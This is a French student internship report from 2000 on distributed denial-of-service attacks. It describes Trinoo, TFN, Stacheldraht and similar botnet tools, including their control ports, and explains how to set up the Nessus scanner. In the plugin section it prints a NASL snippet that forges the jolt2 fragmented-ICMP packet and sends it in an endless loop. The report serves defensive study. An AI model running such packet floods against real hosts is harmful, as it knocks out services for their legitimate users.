Déni de Service Distribué Rapport Stage

Transcription

Déni de Service Distribué Rapport Stage
DDoS
Distributed Denial of Service
Déni de Service Distribué
Rapport Stage
Ana Isabel SERRANO SELVA
Mastère ISIC
Année 1999-2000
ENST Bretagne
Technopôle Brest-Iroise BP 832
29285 BREST Cedex
Encadrant: Ronan KERYELL
Data soutenance: 18 septembre 2000
Remerciements.
La fin des études arrive avec sa bonheur caractéristique, mais avoir fini à
cette école a rendu plus puissants ses effets.
Cette année signifie avoir connaître un autre côte de l´enseignement
avec lequel je suis plus d´accord. Un formation moins massifie, plus
personnalisé, plus actuel et plus pratique. Cette école a su nous transmettre de
connaissance en la informatique, en plus d´une langue et une culture.
Je remercie à cette école et surtout aux gens avec lequel j´ai partagé
ces expériences: à chacun des espagnoles, à mes collègues du mastère ISIC,
aux françaises amicales et à mon encadrant.
1
Résumé et mots-clés.
Le travail dans ce rapport consiste en analyser les problèmes de sécurité
liés au « déni de service » et en présenter des différents méthodes de
surveillance et/ou de diagnostic.
L´analyse menée dans ce travail forme une ouverture aux attaques de
déni de services distribué et de déni de service. C´est un point de départ pour
connaître cette matière depuis un point de vue réaliste et pratique.
Le rapport essai de faire un parcours par les attaques actuelles de déni
de service en donnant un brève et clair explication et en donnant au lecteur
des références pour la recherche en cette matière.
Ce travail prétende être un contribution à la connaissance de déni de
service. Il prétend aussi donner une vision de la situation des attaques de déni
de services dans le monde des attaques et dans le monde de la sécurité.
Donc, voici la structure base de ce rapport:
• Apporter un classement des attaques de dénie de services dans le
monde de la sécurité.
• Expliquer le fonctionnement de ces types d´attaques.
• Lister les attaques qui son déjà connus.
• Donner une relation des outils possibles qu´on peut utiliser pour surveiller
un système
• Expliquer la mise en place et le fonctionnement d´un système de
surveillance choisi. Dans notre cas, Nessus.
Mots clés : DDoS, DoS, sniffers, scanners, trinoo, TFN, TFN2K, stacheldraht,
mstream, service.exe, shaft, trinux, sara, zombie zapper, find_ddos, nessus
2
Table des matières
Remerciements …………………………………………………….……….1
Résumé et mots-clés ………………………………………………………2
Table des matières………………………………………………………….3
1. La sécurité ………………………………………………………………...5
2. Les attaques distribuées ………………………………………….……. 7
2.1. Introduction. Qu´est-ce qu´une attaque distribuée? …..7
2.2. Stratégie à suivre ………………………………………………7
2.3. Systèmes impliqués …………………………………………...9
2.4. Types ……………………………………………………………..9
2.5. Protection. Détection. Réaction……………………………10
2.6. Outils d´attaque DDoS. ……………………………………. ..11
2.7. Outils de défense DDoS. …………………………………….16
3. Les attaques DoS. ………………………………………………………17
3.1. Fonctionnement. …………………………………………..…17
3.2. Types. ………………………………………………………...…17
3.3. Protection. Détection. Réaction……………………………18
4. Nessus. ……………………………………………………………………18
4.1. Travail à faire. …………………………………………………18
4.2. Introduction à Nessus………………………………………...18
4.3. Mis en place et démarrage de Nessus. ……………….…19
4.4. Utilisation de Nessus. …………………………………………21
4.5. Ecriture de plugins. ……………………………………………22
4.6. Améliore de Nessus. ……………………………………….…24
3
6. Conclusions…………………………………………………………….…26
7. Annexes…………………………………………………………………27
7.1. Outils de sécurité. ……………………………………….…27
7.2. jolt2.c………………………………………………………….29
7.3. Plugin………………………………………………………..…32
7.4. Attaques de déni de service détectés par Nessus. …34
7.5. Nessus Scan Report. ………………………………….……36
7.6. Acronymes. …………………………………………….……41
8. Bibliographie. ……………………………………………………….…42
4
DDoS
1. La sécurité.
Aujord´hui la sécurité a une répercussion très importante dans nos vies.
Tout le monde travaille avec ordinateurs. Le fonctionnement non correct de
ceux-là nous proportionne, depuis perte du temps et mal de tête, jusqu´à perte
d´argent.
Ça est motif d´inquiétude pour tous, surtout où notre ordinateur ne
marche correctement. Nous nous demandons, qu´est-ce qu´il a? Peut être des
attaques ont rattrapé notre ordinateur.
Les attaques des dénis de service distribués sont apparus récemment et
son nombre a augmenté dû, par exemple, aux raisons ci-dessous:
1.- Les technologies d'attaque les plus avancées sont désormais publiées
et sont utilisées de plus en plus souvent simultanément dans le même code
malicieux.
2.- La quantité de machines mal protégées susceptibles d'amplifier
l'attaque a augmenté très rapidement.
Le nombre de machines connectées à Internet explosé. Le nombre de
machines disposant d'un accès permanent et de forte bande passante à
Internet est devenu immense. Ces machines sont utilisables comme relais pour
les attaques. Les dénis de service distribués du début 2000 ont montré
comment les réunir automatiquement, et de manière furtive en un véritable
réseau adaptatif coordonné vers des cibles de très grande taille.
3.- Le nombre d'internautes assez compétent pour réaliser une telle
attaque est en train de dépasser la masse critique.
Internet est une formidable banque d'informations, de manuels, de
guides, de "how-to", d'exemples, de conseils en direct dans les newsgroup, etc.
Quelconque est capable d´écrire des virus/attaques/vers. De plus en plus la
progression du niveau de compétence moyen de l'utilisateur d'Internet est
effroyable.
4.- Chaque année se mettent en oeuvre des nouvelles technologies de
piratage.
La communauté de la sécurité informatique a vu naître le concept de
Déni de service distribué. L ´apparition de TFN (Tribe Flood Network), le premier
DDOS publié a commencé avec les signaux d'alertes. Des vulnérabilités et des
nouveautés en terme de technologie de piratage et/ou attaque sont publiées
et testées.
Page
5
DDoS
5.- Les technologies de défense ont pris un retard technologique trop
important.
Les solutions aux attaques disposent d'une organisation de travail et de
développement bien rodé, mais en circuit fermé. Ils ne bénéficient pas de la
puissance de l'organisation en logiciel libre qui caractérise l'organisation de
leurs adversaires.
Tout suite nous allons présenter en détaille la classification et le
fonctionnement général et spécialisé des déni de service.
Page
6
DDoS
2. Les attaques distribuées.
2.1. Introduction. Qu´est-ce qu´une attaque distribuée?
Les attaques distribuées sont une nouvelle catégorie d´attaques de
réseau qui utilisent systèmes distribués. Ses résultats feront qu´un sol et simple
commande d´un attaquant puisse aboutir à dizaine de milliers de concurrentes
attaques sur un ou un ensemble de cibles.
L´attaquant peut utiliser de nœud Internet non protégés autour du
monde pour synchroniser les attaques. Ces nœuds attaquants ont une
information limitée sur qui est en train de démarrer l´attaque et d´où. En plus,
aucun nœud n´a besoin d´avoir une liste du reste de nœuds attaquants. Le
système endommagé inclue tant les nœuds impliqués dans les attaques que
les cibles, mais pour les cibles l´impact peut être plus grand.
Une attaque distribuée peut impliquer un grand nombre de sites
simultanément et focaliser l´attaque sur un ou plus victimes hosts ou réseaux.
2.2. Stratégie à suivre.
Un système d´attaque distribuée caractéristique se montre à la figure cidessous. "L´intrus" contrôle un petit nombre de "maître", lesquels alternativement
contrôle un grand nombre de "démon". Ces démons peuvent s´utiliser pour
lancer les attaques contre les victimes ciblées par l´intrus.
Page
7
DDoS
Dans les incidents commis jusqu´à présent, les démons ont été installés
aux plusieurs centaines de sites, typiquement à travers de vulnérabilités bien
connus qui mènent à privilèges de root sur les machines compromises. Malgré
quelques mises en place de programmes démons n´exigent pas de permis root
pour lancer attaques, dans la pratique, la plupart des démons ont été
dissimulés par la mise en place d´outils "root kits" dessinés pour cacher
l´évidence de l´intrusion.
Les intrus également ont parfois employé services de système tels que
"cron" pour s'assurer qu'un démon continuerait à exécuter même si une
instance de lui étaient effacés ou le système était relancé.
Et ils sont employés aussi des outils comme scanner pour détecte
vulnérabilités.
Les sites vulnérables sont compromis mettant en place démons et
dissimulant ses intrusions.
Une fois que le démon est installé et opérant, il annonce sa présence à
plusieurs maîtres prédéfinis (souvent trois ou quatre) et se mettre en attente des
commandes. Le programme maître enregistre que le démon est prêt à recevoir
des commandes dans une liste interne que le démon y a. Cette liste peut être
récupérée par l´intrus.
Page
8
DDoS
Les listes récupères d´ancien incidents ont montré l´existence de hosts en
différents pays. Les maîtres peuvent provoquer que les démons lancent des
attaques. Les intrus ont employé des techniques cryptographiques pour cacher
l'information enregistrée par les démons principaux.
A travers des commandes de la liste des démons, le maître peut émettre
des requêtes d´attaque. Ces requêtes contiennent des information sur
l´attaque demandée, tels que l´adresse de la victime, la durée de l´attaque et
d´autres paramètres. À la réception de la demande, le démon procède
attaquer la victime, souvent par saturation de la victime avec des paquets.
Aucun autre contact du maître n'est nécessaire.
Les programmes maîtres fonctionnent fréquemment comme
programmes d´utilisateurs ordinaires en tant que le host compromis, où leur
activité peut facilement être cachée. À la différence des programmes de
démon, qui sont destinés pour être exécutés sur des sites d'une capacité
substantielle de réseau, le trafic à et du programme maître est limité pour
contrôler des messages.
Une fois que l´attaque DDoS a été démarré, c´est dur l´arrêté.
2.3. Systèmes impliqués.
Tous les systèmes reliés à Internet peuvent être affectés par les attaques
de déni de service : UNIX, Linux, Windows NT, Windows 9x, MacOS.
2.4. Types.
Les techniques des attaques distribuées impliquent un grand nombre de
host simultanés que peuvent focaliser l´attaque sur une ou plusieurs host. Les
attaques qui utilisent ces techniques ont augmenté significativement, étant les
plus important les suivants.
2.2.1. DDoS
Dans une attaque de déni distribuée qui utilise la technologie distribuée,
le système pointé-attaqué observe simultanées attaques depuis tous les
nœuds en même temps; en saturant le réseau utilisé pour communiquer et
tracer les attaques empêchant le trafic légitime du réseau.
2.2.2. Sniffers distribués
Page
9
DDoS
Le sniffer distribué consiste en un client et un portion de serveur. Le client
sniffer a été trouvé exclusivement en cibles Linux compromis lesquels
présentent les suivantes caractéristiques :
• Quelques états indiquent qu´une vulnérabilité dans le démon de cron
peut être utilisée pour favoriser l'accès de privilèges. Des comptes d'utilisateur
avec des mots de passe compromis puissent être utilisés pour gagner l'accès
initial.
2.2.3. Scanners
Ce type d´attaque interroge tous les ordinateurs dans un range donnée
d´adresses IP, déterminant les vulnérabilités de système. Les intrus utilise ce type
d´information pour compromettre de hosts.
2.5. Protection. Détection. Réaction.
Les termes ci-dessus ont relation avec les suivants points :
• réviser périodiquement des politiques de sécurité
• techniques pour analyser systèmes compromis
• scanner périodiquement le réseau en cherchant des vulnérabilités et
des intrusions
• créer un plan de réponse aux attaques.
De suggestions son proposé par le CERT sur :
http://www.cert.org/reports/dsit_workshop-final.html
2.6. Outils d´attaque DDoS.
Les outils d´attaque sont appelés DSIT (Distributed-System Intruders Tools).
On présente ensuite:
Trinoo
Trinoo est un outil distribué utilisé pour lancer depuis beaucoup sources
des attaques déni de service connus comme « UDP flood ». Un réseau trinoo se
Page
10
DDoS
compose de un nombre restreint de serveurs, ou maîtres , et un grand nombre
de clients, ou démons .
Un attaque déni de service utilisant un réseau trinoo est effectué par un
intrus se reliant à un maître trinoo et demandant à ce maître pour lancer un
attaque déni de service contre une ou plusieurs adresses IP. Le maître trinoo
communique alors avec les démons donnant des instructions d'attaquer une
ou plusieurs adresses IP pendant une période de temps indiquée.
1. intrus -------> maître; destination 27665/tcp
2. maître ------->; démons 27444/udp
3 démons -------> cibles ; ports de destination à l´hasard
Le binaire pour le démon de trinoo contient des adresses IP pour un ou
plusieurs maître trinoo. Quand on exécute le démon trinoo, le démon annonce
sa disponibilité en envoyant un paquet de UDP contenant la chaîne de
caractères " * HELLO * " à des adresses IP programmées qui appartient aux
maîtres trinoo.
démon -------> maîtres; destination 31335/udp
Le maître trinoo enregistre une liste de démons connus dans un fichier
chiffré nommé "... " dans le même répertoire que le maître binaire. Le maître
trinoo peut être chargé pour envoyer une requête broadcast à tous les
démons connus pour confirmer sa disponibilité. Les démons recevant l'émission
répondent au maître avec un paquet de UDP contenant la chaîne de
caractères " PONG ".
1. intrus -------> maître; destination 27665/tcp
2. maître ------->; démons 27444/udp
3. démons -------> maître; destination 31335/udp
Toutes les transmissions au maître sur le port 27665/tcp exigent un mot de
passe, qui est enregistré d´une façon chiffrée dans le démon. Toutes les
transmissions avec le démon sur le port 27444/udp exigent du paquet de UDP
de contenir la chaîne de caractères " l44 " (c´est un L minuscule).
Les démons trinoo installés sous une variété de différents noms. Le plus
générales sont
NS
HTTP
rpc.trinoo
rpc.listen
trinix
rpc.irix
irix
Page
11
DDoS
TFN (Tribe Flood Network)
TFN, tout comme Trinoo, est un outil distribué utilisé pour des attaques de déni
de service coordonné depuis beaucoup de sources contre une ou plusieurs
cibles.
En plus de produire attaques de déni de service « UDP flood » peut
également produire attaques « TCP SYN flood », «ICMP echo request flood » et
« ICMP directed broadcast »
Un attaque déni de service utilisant un réseau de TFN est effectué par un
intrus demandant à un client, ou au maître , programme pour envoyer des
instructions d'attaque à une liste de serveurs de TFN, ou de démons . Les
démons produisent alors du type indiqué d´attaque déni de service contre un
ou plusieurs des adresses IP des cibles. Des adresses des ports peuvent être â
l´hasard et des tailles de paquets peuvent être modifiées.
On exécute un maître TFN depuis la ligne de commande pour envoyer
des commandes aux démons TFN. Le maître communique avec les démons en
utilisant des paquets de réponse écho ICMP avec 16 bita incluses dans le
champ ID, et les arguments inclus dans la partie de données du paquet. Les
valeurs binaires, lesquels sont obtenus en time de compilation, représentent les
diverses instructions envoyées entre les maîtres de TFN et les démons.
Ils sont été vu des démons de TFN installés sur des systèmes en utilisant le
nom de fichier td.
TFN2K (Tribe Flood Network 2K)
Comme TFN, TFN2K est conçu pour lancer des attaques de déni de
service coordonnées depuis beaucoup de sources contre une ou plusieurs
cibles.
Il inclut des caractéristiques conçues spécifiquement :
.- pour rendre le trafic de TFN2K difficile à reconnaître et à filtrer,
.- pour exécuter à distance des commandes,
.- pour cacher la vraie source du trafic
.- pour transporter le trafic de TFN2K sur multiples protocoles de transport
comprenant le UDP, le TCP, et l´ICMP, et pour simuler des tentatives de localiser
d'autres noeuds de réseau TFN2K en envoyant des paquets " leurre ".
TFN2K est conçu pour s’exécuter sur UNIX, UNIX-like systèmes, Windows NT
et certains MacOS. Il simule la vraie source des attaques par « spoofing IP
adresses ».
Comme TFN, TFN2K peut saturer des réseaux en envoyant de grandes
quantités de données à la machine victime. À la différence de TFN, TFN2K
Page
12
DDoS
inclut des attaques conçues pour tomber en panne ou pour présenter des
instabilités dans les systèmes en envoyant les paquets mal formés ou incorrects.
Également comme TFN, TFN2K utilise une architecture de serveur de
client dans laquelle un client simple, sous la commande d'un attaquant, émet
des commandes simultanément à un ensemble de serveurs TFN2K. Les serveurs
conduisent alors les attaques de déni de service contre la cible(s). L'installation
du serveur exige que, tout d´abord, un intrus compromette une machine par
différents moyens.
Stacheldraht
Stacheldraht combine des techniques Trinoo et TFN et ajoute le
chiffrement de communication entre l'attaquant et les maîtres. Il aussi actualise
automatiquement aux agents.
Il produit des attaques déni de service attaques « TCP SYN flood », «ICMP
echo request flood », « UDP flood » et « ICMP directed broadcast »
Pour la communication entre clients, handlers et agents, il utilise par
défaut les ports suivants:
16660 tcp
65000 tcp
C´est possible aussi changer les numéros des ports.
mstream
L'outil d'" mstream " se base en Trinoo. Le fonctionnement du maître et
de l´agent ont été vu en binaires" rpc.wall ". Le code source prendre noms
comme " master.c " pour le maître et " server.c " pour l´agent.
Le maître n'a pas besoin des privilèges administratifs et peut fonctionner
sous le login d´un utilisateur.
Le maître peut être contrôlé à distance par un ou plusieurs intrus en
utilisant un mot de passe protégé. Des commandes simples émises aux maîtres
causent des instructions d'être envoyé aux agents déployés sur les systèmes
compromis. La communication entre l'intrus et le maître, et le maître et les
agents, sont configurables en temps de compilation. Les protocoles et les
nombres de sockets par défaut sont
intrus --------- 6723/tcp -> maître
maître --------- 7983/udp -> agent
agent --------- 9325/udp -> maître
Page
13
DDoS
On doit dire que c´est possible aussi changer les numéro des ports.
Les agents contiennent une liste de maîtres qui sont définis en temps de
compilation par l'intrus. La liste de maîtres est visible en exécutant les ' chaînes
de caractères contre l'agent.
Il produit l´attaques déni de service « TCP ACK flood ».
Service.exe
C´est un version de trinoo qui utilise agents de déni de service basé en
windows. Le programme s´appelle service.exe écoute sur le port UDP 34555.
Shaft
L´outil de déni de services distribués shaft est composé de handlers et
agents.
ports :
Pour la communication entre maîtres et agents, shaft utilise les suivants
intrus->maître 24032/tcp (not 20483/tcp)
maître<->agent 18753/udp, 20433/udp
2.7. Outils de défense DDoS.
Trinux
Trinux est un « toolkit » de sécurité réseau pour Linux qui inclue des outils
utiles pour détecter et surveiller des réseaux TCP/IP : nmap2.54beta1, adm-smb,
nbtstat, tcp_scan, cgichk, ddos-scan, dsniff, despoof, hunt, zodiac, netcat,
openssh, hping2, sing, isic, p0f, fragrouter, tcpreplay, sentinel, ethereal 0.8.10,
ngrep, nstreams, tcpdump, ntop, netwatch
Avec Trinux nous pouvons scanner des ports, le sniffing de paquets,
détecter de vulnérabilités, de sniffers et des intrusions, surveillance de réseau,
construction de paquets, active/passive OS fingerprinting, session hijacking …
Homepage: http://trinux.sourceforge.net/
Sara
C´est un outil qui détecte l´attaque DDoS mstream et d´outres comme
l´attaque pirahna et l´attaque DoS answerbook2
Page
14
DDoS
Homepage: http://www-arc.com/sara
Zombie Zapper (ZZ)
C´est un outil qui détecte un système zombie pour empêcher que celuici continue avec l´envoi de « flooding packet ». Il détecte Trinoo, TFN, Shaft et
Stacheldraht.
Homepage: http://razor.bindview.com/tools/index.shtml
Find_ddos
C´est un outil pour scanner un système local duquel se soupçonne qui
contienne un programme d´attaque DDoS. Find_ddos peut s´exécuter sur
Solaris 2.6 or supérieur sur plate-forme Sparc, plate-forme Intel et Linux sur plateforme Intel. Il ne marche pas sur Windows.
Find_ddos détecte trinoo daemon, trinoo master, tfn daemon, tfn client,
stacheldraht master, stacheldraht client, stachelddraht demon and tfn-rush
client. Il ne détecte pas TFN2K.
http://foia.fbi.gov/nipc/README
Page
15
DDoS
3. Les attaques DoS.
3.1. Fonctionnement.
Une attaque de "déni de service" est caractérisée par la tentative des
attaquants d´empêcher aux utilisateurs légitimes d´un service, le service luimême.
Ces attaques ci incluent:
• tentatives pour saturer un réseau, en empêchant le trafic légitime
réseau.
• tentatives pour interrompre les connections entre deux machines,
empêchant l´accès à une service.
• tentatives pour empêcher à un particulier individuel, les accès à
service
• tentatives pour interrompre les services à un spécifique système
personne
du
en
un
ou
Pas tous les services tombés en panne, même ceux-là qui résultent
d´activités malicieuses, sont nécessairement des attaques de déni de service.
Les attaques de déni de service peuvent essentiellement invalider ton
ordinateur ou ton réseau.
3.2. Types.
Le attaques de déni de service se présentent dans une grande variété
de formes et sont adresses à une grande variété de services. Il y a trois types
d'attaque basique:
• consommation des ressources rares, limitées, ou non-renouvelables
• destruction ou changement d'information de configuration
• destruction ou changement physique de composants de réseau
1. Consommation des ressources rares, limitées, ou non-renouvelables.
Les ordinateurs et les réseaux ont besoin de certaines consommation des
ressources pour fonctionner: largeur de bande de réseau, mémoire et espace
disque, temps de CPU, structures de données, accès à d'autres ordinateurs et
réseaux, et certaines ressources environnementales telles que la puissance, l'air
frais, ou même l'eau. Exemples de ces attaques sont :
tcp_syn_flooding
UDP_service_denial
email_bombing_spamming
Page
16
DDoS
anonymous_ftp_config
ping
2. Destruction ou changement d'information de configuration.
Un ordinateur incorrectement configuré peut ne pas être très performant
ou peut ne pas fonctionner du tout. Un intrus peut pouvoir modifier ou détruire
l'information de configuration qui vous empêche d'utiliser votre ordinateur ou
réseau. Par exemple, si un intrus peut changer l'information de routage dans
vos routers, votre réseau peut se rendre handicapé.
3. Destruction ou changement physique de composants de réseau.
L´inquiétude avec ce type des attaques est la sécurité physique. Il
faudrait se protéger contre les accès non autorisé aux ordinateurs, aux routers,
aux placard isolés et à tous les autres composants critiques de votre réseau.
La sécurité physique est un composant important qui permet se garder
contre beaucoup de types d'attaques en plus des attaques de déni de service.
Il faut contacter avec des agences privées de sécurité.
3.3. Protection. Détection. Réaction.
Les termes ci-dessus ont relation avec les suivants points :
• mettre hors service les services non utilisées du réseau
• surveiller la performance du système
• investir en configurations de réseau redondantes et tolérantes aux
fautes
• techniques de sauvegarde pour des information importantes de
configuration
Page
17
DDoS
4. Nessus.
4.1. Travail à faire.
Le travail avec Nessus a consisté en sa mis en place, pour après, étudier
son utilisation.
Donc, on s´a commencé l´écriture de plugins qui détectent de trous
dans les systèmes en étudiant le langage NASL sur lequel Nessus marche. Et on
a continué par l´amélioration de Nessus en ce qui concerne à ajouter des
nouvelles fonctions pour qui soient possible de les utiliser en NASL.
Le contenu des paragraphes ci-dessus nous mène à développer les
points suivants:
• Introduction à Nessus.
• Mis en place de Nessus.
• Utilisation de Nessus.
• Ecriture de plugins.
• Améliore de Nessus
4.2. Introduction à Nessus.
Le projet Nessus fournit un libre , puissant, actuelle et facile utilisation
d´un scanner de sécurité à distance.
Un scanner sécurité est un logiciel qui auditera à distance un réseau
donné et déterminera si des crackers peuvent pénétrer dans lui, ou abuser de
lui d'une manière quelconque.
À différence de beaucoup d'autres scanner de sécurité, Nessus ne
prend rien par accordé . C'est-à-dire, il ne considérera pas qu'un service donné
fonctionne sur un port fixe. Si vous exécutez votre web server sur le port 1234,
Nessus le détectera et testera sa sécurité. Il ne fera pas ses essais de sécurité
concernant le nombre de version de services à distance, mais essayera
vraiment d'exploiter la vulnérabilité.
Nessus a comme avantages être très rapide, fiable et avoir d´une
architecture modulaire qui nous permet de l'adapter à nos besoins.
Ses caractéristiques sont les suivants:
Page
18
DDoS
• Architecture de plugin. Chaque test de sécurité est écrit comme un
plugin externe.
• Nessus inclut le langage NASL (Nessus Attack Scripting Language), un
langage conçu pour écrire des test de sécurité facilement et rapidement (des
test de sécurité peuvent également être écrits en C)
• Actualisation de la base de données de vulnérabilités de sécurité.
• Architecture client/serveur. Nessus se compose de deux parts: un
serveur, qui exécute les attaques, et un client qui est un host. On peut exécuter
le serveur et le client sur différents systèmes. Il y a plusieurs clients: un pour X11,
un pour Win32 et un écrit dans Java.
• Nessus peut tester une quantité illimitée de hosts en même temps.
• Identification des services multiples. Nessus ne croit pas que les cibles
respectèrent les nombres gauches assignés par IANA. Ceci signifie qu'il
identifiera un service fonctionnant sur un port non standard.
• Les test de sécurité ont été exécuté par Nessus coopèrent de sorte que
rien inutile ne soit fait. Des test profitent le travail des autres.
• Nessus ne croit pas qu´une certain version d'un logiciel donné est
immunisée contre un problème de sécurité. Les tests essayeront de déborder
les mémoires tampons, retransmettre quelques courrier, et les égaliser pour faire
tomber en panne l´ordinateur.
• Nessus indique non seulement ce qui est erroné sur votre réseau, mais ,
il dit comment éviter les trous de sécurité trouvés et il dit le niveau de risque de
chaque problème trouvé.
• Le client Unix peut exporter les rapports en ASCII, LaTeX, HTML. En plus,
ils sont disponibles en anglais or français.
4.3. Mis en place et démarrage de Nessus.
Nessus version1.0.0 a été installé sur un PC avec Linux distribution debian.
Le serveur et le client Unix étaient sur la même machine. Il peut être en
machines séparées quand même. Installer et démarrer Nessus se compose de
trois pas :
• L´installation de paquets Nessus. Il se base en la compilation de quatre
paquets : nessus-libraries, libnasl, nessus-core et nessus-plugins.
Page
19
DDoS
En choissant le client unix on a dû installer deux paquets de plus :
gtk-config (v1.2): C´est le paquetage de GIMP Toolkit. Le GIMP est un
programme de manipulation des images dessous la licence GNU. La
distribution debian l´avait déjà installé.
Nmap (v2.52): c´est un outil pour faire un scanne des ports sur grandes
réseaux. Il travail sur hosts simples.
• Créer une compte pour utiliser le démon de nessus (nessusd). On a
crée une compte caractérisée par un login, un mot de passe, et la possibilité
de chiffrer le mot de passe et de créer des règles pour l´utilisateur.
Le serveur Nessus a sa propre base de données avec des règles
différentes dépendent de l´utilisateur. Comme ça le serveur peut se partager
dans un grand réseau entre multiples utilisateurs.
• La configuration du serveur.
Les options de configuration du serveur sont pour spécifier:
- le chemin du répertoire où les plugin se trouvent
- le nombre maximum des test simultanés
- le chemin du fichier log. Activer/Désactiver la sortie des messages
- le chemin du fichier pour le debug
- les possibles règles des utilisateurs
- le chemin du fichier base de données des utilisateurs
- l'intervalle des ports
- l´optimisation des tests
- le langage des plu gins
- les options de cryptographie
- time-out des sockets
- time d'attendre entre deux test contre le même port
Pour démarrer le serveur il faut écrire le commande nessusd après le
prompt de notre xterm. Nous avons besoin d´avoir de permis de root.
Si le démon nessusd a été correctement démarré, il apparaîtra sur
l´écran une fenêtre pareille à :
Page
20
DDoS
4.4. Utilisation de Nessus.
Une fois démarré nessus commence les tâches du client pour l´utiliser.
L´environnement graphique de Nessus permet une facile utilisation.
Après introduire le login qui identifie chaque utilisateur du Nessus, on doit
compléter les options montrés ci-dessous, lesquels on peut voir aussi sur la
dernière image:
Plugins
Chaque plugin détecte une vulnérabilité. Ils sont classifié par familles.
C´est facile choisir les plugins qu´on veut exécuter en cliquant sur la case
correspondante.
Prefs
Quelques plugins ont besoin d´arguments supplémentaires. On dispose
des suivants préférences :
Pour techniques TCP de scanner :
• TCP connect
• TCP syn
• TCP fin
Page
21
DDoS
Pour des autres options:
• UDP port scan
• RPC port scan
• Ping the remote scan
• Identify the remote OS
Scan options
Ces options nous permettent choisir la configuration pour le scan :
l´intervalle de ports, le nombre maximum des test, quelle scanner de ports.
Ils sont disponibles les suivantes scanners de ports :
• TCP ping the remote host
• Ping the remote hosts
• Nmap
• Nmap tcp connect()
• FTP Bounce
• TCP syn
Target selection
On doit sélectionner le/s host/s ou le/s réseau/x où exécuter nessus
Il ne manque que cliqué sur la touche « start the scan », et attendre le
rapport du nessus où nous pourrons découvrir les possibles vulnérabilités de
notre système.
Expériences pratiques : Le scanner nessus a été exécuté plusieurs fois sur
quelques hosts. Veuillez dans l´annexe le résultat d´exécuter nessus sur un host
de l´ENSTB.
4.5. Ecriture de plugins.
Comme nous avons déjà dit à toute l´heure, chaque plugin détecte des
vulnérabilités.
Nous avons travaillé en la détection de la vulnérabilité connue comme
Windows DoS(jolt2.c)
Jolt est un programme qui force l´utilisation de la CPU au 100% en faisant
le système extrêmement lent. Cela fonctionne fondamentalement envoyant
une série de paquets ICMP spoofed et fragmentés à la cible. Ces paquets ci
augmentent jusqu'à 64 K et à ce moment là Windows95/NT cesse de
fonctionner tout à fait.
Page
22
DDoS
Un paquet ICMP echo se trouve dans une paquet IP. Ce paquet IP aura,
entre des autres informations, 20 octets de l´entête IP, 8 octets du paquet
CMP. Par conséquent la taille maximale permise de la zone de données est
65535 - 20 - 8 = 65507.
Les ordinateurs exécutant Windows NT ou Windows 95 peuvent cesser de
répondre quand ils reçoivent les fragments altérés de data-gramme du Internet
Control Message Protocol (ICMP) d'un client.
Le code du fichier jolt2 se trouve dans l´annexe.
Pour créer le plugin correspondent à cette vulnérabilité nous avons
utilisée le langage NASL (Nessus Attack Scripting Language). Il a été crée
express pour nessus en voulant faire une langage pas puisant mais simple,
sécurisé et rapide.
L´attaque cité en jolt2.c peut se réaliser grâce à paquets ICMP ou UDP.
Cet raison nous a menée à écrire deux plugins différents, un pour l´envoi de
paquets ICMP et l´autre pour l´envoi de paquets UDP. On leur appellera
« pluginICMP.nasl » et « pluginUDP.nasl » respectivement.
On va procéder à commenter le points plus importants. Le code
complet des plugins se trouve à l´annexe.
pluginICMP.nasl
Il faut distinguer un procédé dans les plugins :
• création de paquets
On crée un paquet pareil au paquet d´attaque du fichier jolt2.c
############## PAQUETE IP ################
ip = forge_ip_packet(ip_hl:5, ip_v:4, ip_tos:0, ip_len:28,
ip_id:0x455, ip_off:8190, ip_ttl:255, ip_p:IPPROTO_ICMP,
ip_src:src, ip_dst:target);
############## PAQUETE ICMP ##################
icmp = forge_icmp_packet(ip:ip, icmp_type:8, icmp_code:0,
icmp_cksum:0, icmp_seq:0, icmp_id:0);
• envoi de paquets
On a besoin d´envoyer à maintes reprises le paquet pour que l´attaque
aie d´effet.
while(1){
Page
23
DDoS
send_packet(icmp, pcap_active:FALSE);
}
• détecter si le paquets ont causé mal ou pas
C´est à ce moment là où des questions apparaîtrent en référence à la
détection de l´état de l´autre ordinateur.
Dans la plus partie des plugins s´attendre la réponse de l´autre
ordinateur en faisant l´option pcap_active= TRUE. Mais, dans notre cas, ce
n´est pas une méthode valide puis qu’en faisant ça nous donnons le temps à
l´ordinateur cible de se remettre.
C´est possible aussi le cas où la cible n´est pas configuré pour répondre
à notre types de paquets.
Ça nous mène à le suivant point.
4.6. Améliore de Nessus.
Donc on a pensé à une amélioration : pouvoir commencer la capture
de paquet sans exécuter send_packet et, de cette façon, il n´y aura pas de
temps d´attente. Donc on pourra dire que l´attente es active et pas passive.
Les fonctions qu´on veut ajouter à nasl son les inclues en la librairie pcap.
La librairie pcap est une librairie de capture de paquet. Et les fonctions à
ajouter seraient :
pcap_open_live()
pcap_dump_open()
pcap_open_oofline()
pcap_lookupdev()
pcap_lookupnet()
pcap_dispatch()
pcap_loop()
…
pcap_dump()
pcap_compile()
pcap_snapshot()
pcap_stats()
Note : la sole fonction de la librairie pcap disponible pour nasl est la
fonctionne pcap_next().
On aurait avantages comme :
Page
24
DDoS
• écoute de paquets en arrière plan avec pcap et sans attendre à la
fonction send_packet
• amélioration puisant du langage en le faisant plus utile pour écrire de
plugins liés à sujet du réseau.
Page
25
DDoS
6. Conclusions
Les dénis de service aujord´hui me font penser à l´avenir. Chaque fois est
plus important le besoin d´avoir un système qui fonctionne correctement. Donc
il faut s´efforcer à l´administrer correctement et bien sûr à le protéger.
Les attaques sont qui ont l´avantages du temps. Ils sont toujours à
l´avance. On peut assurer qu´une système est sûre au moment T, mais pas dans
le moment T+1. La solution passe par se protéger, surveiller et avoir une
politique de sécurité dans le cas que nos systèmes soient compromis.
Ce stage m´a permis de rechercher sur la sécurité et plus concrètement
sur le déni de services, de connaître des attaques et des outils pour les
détecter, de connaître des sites où chercher certain information.
Il m´a fourni une base de connaissances qui peuvent me guider dans la
sécurité de systèmes à l´avenir. Dans l´aspect pratique, on a appris des
connaissances en réseau. J'ai vraiment vu le protocole TCP/IP et j´ai utilisé aussi
des différentes outils pour cette finalité là.
En référence à Nessus, on doit dire que mes impressionnes sont positives.
Il est un scanner de facile utilisation. Son modularité lui permet être á jour
rapidement et sans beaucoup d´efforts. On doit penser que les vulnérabilités
augmentent de plus en plus. Mais, pour vraiment profiter les résultats de
Nessus, je pense, qu´il faut avoir de connaissances en réseau pour configurer
bien l´outil.
Etudiant le plugins qui sont fournis par Nessus, j´ai pu regarder le
fonctionnement des attaques. Le langage NASL a permit un meilleur
compréhension des attaques dû à sa simplicité.
Nessus est un projet libre où j´espère continuer mon collaboration en
quelques moins.
